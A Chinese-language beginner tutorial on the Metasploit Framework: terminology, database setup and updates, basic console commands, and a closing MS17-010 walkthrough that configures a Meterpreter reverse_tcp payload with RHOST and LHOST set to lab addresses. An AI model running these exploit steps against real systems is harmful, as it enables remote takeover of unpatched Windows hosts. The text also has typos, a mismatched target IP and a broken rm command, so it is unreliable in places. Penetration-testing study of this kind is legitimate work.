一、概述
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布MSF时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为MSF团队一直都在努力开发各种攻击工具,并将它们贡献给所有MSF用户。
MSF的设计初衷是打造成一个攻击工具开发平台,然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。
MSF专业术语讲解
渗透攻击(Exploit)
渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。
流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。
攻击载荷(Paylod)
攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。
溢出代码(Shellcode)
shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。
模块(Module)
在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。
监听器(Listener)
监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接
二、msf数据库配置
1.开启数据库 systemctl start postgresql
2.设置开启启动 systemctl enable postgresql
3.构建数据库缓存 msfdb init
三、数据库更新
1.更改yum源
修改 vi etc/apt/sources.list
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
2.配置数字签名
wget archive.kali.org/archive-key.asc //下载签名
apt-key add archive-key.asc //安装签名
注:如果添加数字签名还提示无法安装可删除原有msf
root@kali:~# apt remove metasploit-framework
注:卸载过程中无法获得锁/var/cache/apt/archives/lock - open (11:资源暂时不可用)无法对目录/var/cache/apt/archives/加锁
root@kali:~# sudo rm /var/cache/apt/archives/lock //进行强制解锁
root@kali:~# sudo rm /var/cache/apt/archives/
3.安装框架
apt-get upadte //更新框架
apt-get install metasploit-framework //安装msf框架
msfconsole //打开msf
注:如果更新完msf出现才下问题
root@kaliew:~# msfconsole
[*] Bundler failed to load and returned this error:
'cannot load such file -- bundler/setup'
[*] You may need to uninstall or upgrade bundler
解决方法:
root@kaliew:~# sudo gem install bundler
四、msf的简单使用
1.基础命令使用及其介绍
search 搜索命令
search cve 其中 excellent为可利用漏洞
use 使用命令
use exploit/windows/local/windscribe_windscribeservice_priv_esc
info 显示信息命令
check 检测命令
检测木匾是否选定渗透攻击存在相应的安全漏洞
set 设置命令
set RHOST + 目标ip 设置目标ip地址
set LHOST + 本机ip 设置本机ip地址
run 运行命令
back 返回命令
quit 退出命令
2.ms17-010案例演示
search ms17-010 查询ms17-010
use 2 使用第二条漏洞
show options 查看需要配置的参数
required 为yes 是必须要配置的参数
set RHOST 192.168.0.109 设置目标主机的IP地址为192.168.0.104
set payload windows/x64/meterpreter/reverse_tcp 设置payload
show options 继续查看需要配置的参数
set LHOST 192.168.0.104 由于是反向连接需要设置自己主机的IP地址
run 运行